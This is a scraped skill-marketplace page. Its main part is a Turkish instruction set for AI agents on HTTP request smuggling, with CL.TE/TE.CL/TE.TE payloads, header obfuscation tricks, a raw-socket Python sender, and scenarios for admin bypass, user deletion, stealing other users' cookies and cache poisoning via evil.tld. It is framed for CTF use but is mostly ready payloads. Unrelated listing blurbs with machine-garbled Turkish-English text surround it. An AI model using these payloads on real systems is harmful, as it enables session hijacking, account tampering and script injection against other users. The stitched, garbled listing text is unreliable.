21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
HTTP Request Smuggling — frontend/backend HTTP parser uyumsuzluğunu sömürerek auth bypass, cache poisoning, internal endpoint erişimi
インストールする前に、エージェントに与えられる指示の中身を確認できます。
İki HTTP sunucusu (frontend reverse proxy + backend) bir request'in nerede bittiğini farklı yorumlarsa, saldırgan "ikinci request"i frontend'in görmediği şekilde backend'e gönderebilir. Bu "ikinci request" sıradaki kullanıcının request'inin başına eklenir → kimlik karışması, header injection, cache poisoning.
İpuçları:
Server: AkamaiGHost, cloudfront, cloudflare, nginx + Java/Python backendTransfer-Encoding: chunked ve Content-Length aynı request'te çalışan endpointFrontend Content-Length'i okur, backend Transfer-Encoding: chunked'i okur.
POST / HTTP/1.1
Host: target.tld
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Content-Length: 13 → "0\r\n\r\nSMUGGLED" (13 byte) tek request olarak frontend'e gelir.Transfer-Encoding: chunked → ilk request "0\r\n\r\n" (boş, sonlandı). Geri kalan SMUGGLED = bir sonraki request'in başlangıcı.POST / HTTP/1.1
Host: target.tld
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Transfer-Encoding: chunked → 8\r\nSMUGGLED\r\n0\r\n\r\n tek request.Content-Length: 3 → "8\r\n" 3 byte, request bitti. Geri kalan smuggled.Hem frontend hem backend Transfer-Encoding'i destekler ama biri obfuscated versiyonu görmezden gelir.
POST / HTTP/1.1
Host: target.tld
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: xchunked
5c
GPOST / HTTP/1.1
Host: target.tld
X-Forwarded-For: smuggled
0
Obfuscation varyantları:
Transfer-Encoding : chunked # whitespace
Transfer-encoding: chunked # case
Transfer-Encoding:chunked # no space
Transfer-Encoding: chunked\r # CR after value
Transfer-Encoding\x20: chunked # space before colon
git clone https://github.com/defparam/smuggler
python3 smuggler.py -u https://target.tld
Çıktı tipik:
[+] Tests Passed for https://target.tld
[CRITICAL] cl.te:
Content-Length: 13
Transfer-Encoding: chunked
...
import requests
import time
# CL.TE test
payload = """\
POST / HTTP/1.1\r
Host: target.tld\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
1\r
A\r
X\r\n\
"""
start = time.time()
r = requests.post('https://target.tld/', data=payload)
elapsed = time.time() - start
if elapsed > 5:
print("CL.TE smuggling detected (timeout)")
Extension marketplace'ten "HTTP Request Smuggler" eklentisi.
Hedef: Admin paneli sadece X-Forwarded-For: 127.0.0.1'a açık.
POST / HTTP/1.1
Host: target.tld
Content-Length: 130
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Host: target.tld
X-Forwarded-For: 127.0.0.1
Content-Length: 50
Content-Type: application/x-www-form-urlencoded
action=delete&user=victim
0\r\n\r\n), "ikinci" request'i smuggled olarak parse eder.Content-Length: 50 ile birleşir — body kısmı kullanıcının normal request'inden gelir, ama header'lar admin yetkili!Diğer kullanıcıların cookie'lerini çalmak için:
POST / HTTP/1.1
Host: target.tld
Content-Length: 230
Transfer-Encoding: chunked
0
POST /comment HTTP/1.1
Host: target.tld
Content-Length: 800
Content-Type: application/x-www-form-urlencoded
comment=
(Smuggled request'in Content-Length 800 = bir sonraki kullanıcı request'inin ilk 800 byte'ını "comment" olarak yutar — orada cookie var.)
Sonra /comments endpoint'inden kendi yorumlarımıza bakınca → diğer kullanıcının Cookie header'ı yorum olarak yer alır.
POST / HTTP/1.1
Host: target.tld
Content-Length: 90
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: target.tld
X-Forwarded-Host: evil.tld
Backend smuggled request'i parse edip /static/app.js'i cacheler — ama X-Forwarded-Host: evil.tld ile, JavaScript dosyası evil.tld'den fetch eder. Tüm kullanıcılar artık evil.tld'den JS çeker → XSS yayılır.
Frontend HTTP/2 konuşur, backend HTTP/1.1. HTTP/2'de Content-Length/Transfer-Encoding header'ı yok — ama saldırgan body'de bunları enjekte ederse...
HTTP/2:
:method POST
:path /
:authority target.tld
content-length 0
transfer-encoding chunked
# H2'den downgrade edilen H1.1 versiyon:
POST / HTTP/1.1
Host: target.tld
Content-Length: 0
Transfer-Encoding: chunked
ZZZZ
Backend chunked görür, ZZZZ = smuggled request.
Daha güçlü H2 → request line injection:
HTTP/2 header:
:method GET
:path /
foo bar\r\n\r\nPOST /admin HTTP/1.1\r\nHost: target\r\n
Backend internal API'lara erişiyor ama frontend filtreliyor:
POST / HTTP/1.1
Host: target.tld
Content-Length: 100
Transfer-Encoding: chunked
0
GET /admin/internal/users HTTP/1.1
Host: localhost
Authorization: Bearer SMUGGLED_TOKEN
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
Send, sonra hemen 2. request'i normal göndererek "G" + ikinci request = "GET / HTTP/1.1" oluştur.
# manual_smuggler.py
import socket
import ssl
def send_raw(host, port, data, use_tls=True):
sock = socket.create_connection((host, port))
if use_tls:
ctx = ssl.create_default_context()
sock = ctx.wrap_socket(sock, server_hostname=host)
sock.send(data.encode() if isinstance(data, str) else data)
response = b''
while True:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
sock.close()
return response
cl_te_payload = (
"POST / HTTP/1.1\r\n"
"Host: target.tld\r\n"
"Content-Length: 13\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"SMUGGLED"
)
print(send_raw('target.tld', 443, cl_te_payload))
/comment gibi POST endpoint'lerinin trafiği yüksek yerleri seç.ssl.wrap_socket kullan.Connection: close engellenir — bağlantı yeniden açılırsa "ikinci request" boşa gider.[+] SEVERE: cl.te-mode found:
Content-Length: 13
Transfer-Encoding: chunked
[PAYLOAD]
Web challenge gördün → frontend/backend tespit
├── Aynı katman → klasik web saldırı (web/sqli-exploitation vb.)
├── Frontend + backend farklı → smuggling test (smuggler.py)
├── Auth bypass denemeleri başarısız → smuggling ile header inject
├── Cache mevcut → cache poisoning smuggling
└── HTTP/2 servis → H2 downgrade smuggling
pip install smuggler # defparam/smuggler
git clone https://github.com/anshumanpattnaik/http-request-smuggling
# Burp Suite + HTTP Request Smuggler extension
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.
日本語の概要は準備中です。原文の説明を表示しています。
AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse
日本語の概要は準備中です。原文の説明を表示しています。
AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.
日本語の概要は準備中です。原文の説明を表示しています。
tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.
日本語の概要は準備中です。原文の説明を表示しています。
Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.
日本語の概要は準備中です。原文の説明を表示しています。
Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.
日本語の概要は準備中です。原文の説明を表示しています。